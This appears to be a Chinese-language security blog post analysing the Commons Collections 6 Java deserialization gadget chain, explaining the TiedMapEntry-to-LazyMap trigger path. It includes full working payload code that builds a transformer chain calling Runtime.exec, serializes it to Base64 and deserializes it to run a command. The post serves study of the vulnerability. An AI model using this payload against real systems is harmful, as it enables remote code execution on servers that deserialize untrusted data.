Java / Web / 反序列化 · 2022年2月27日 0

CommonsCollections6分析

简介

CC1链这条链在JDK8u71版本之后已经无法使用了,而CC6的链不受JDK版本限制。CC6前面一段和CC1是相同的,只要能调用到LazyMapget()方法就能触发RCE

在ysoserial中使用到了TiedMapEntry中的getValue()方法来触发LazyMapget()方法:

public Object getValue() {
   return this.map.get(this.key);
}

TiedMapEntry使用hashCode()方法计算hash值的时候有调用到getValue()方法:

public int hashCode() {
   Object value = this.getValue();
   return (this.getKey() == null ? 0 : this.getKey().hashCode())
       ^ (value == null ? 0 : value.hashCode());
}

在这里需要调用到hashCode()方法,这就和URLDNS链类似了,可以将HashMap的key值赋值为TiedMapEntry,然后在反序列化之后计算key的Hash值的时候可以触发TiedMapEntryhashCode()方法:

image-20220221170531891

简化版CC6

payload如下:

String[] cmd = new String[]{"calc"};
Transformer[] tfs = new Transformer[]{
       new ConstantTransformer(Runtime.class),
       new InvokerTransformer("getMethod",
               new Class[]{String.class, Class[].class},
               new Object[]{"getRuntime", null}),
       new InvokerTransformer("invoke",
               new Class[]{Object.class, Object[].class},
               new Object[]{null, null}),
       new InvokerTransformer("exec",
               new Class[]{String[].class}, new Object[]{cmd})
};
ChainedTransformer ctf = new ChainedTransformer(tfs);
Map lazymap = LazyMap.decorate(new HashMap(), ctf);
TiedMapEntry tme = new TiedMapEntry(new HashMap(),null);
Field field = tme.getClass().getDeclaredField("map");
field.setAccessible(true);
HashMap hm = new HashMap();
hm.put(tme,null);
field.set(tme,lazymap);
//payload生成
ByteArrayOutputStream bos = new ByteArrayOutputStream();
new ObjectOutputStream(bos).writeObject(hm);
String paylaod = new String(
       Base64.getEncoder().encode(bos.toByteArray())
);
System.out.println(paylaod);
//payload验证
ObjectInputStream ois = new ObjectInputStream(
       new ByteArrayInputStream(
               Base64.getDecoder().decode(paylaod)
      )
);
ois.readObject();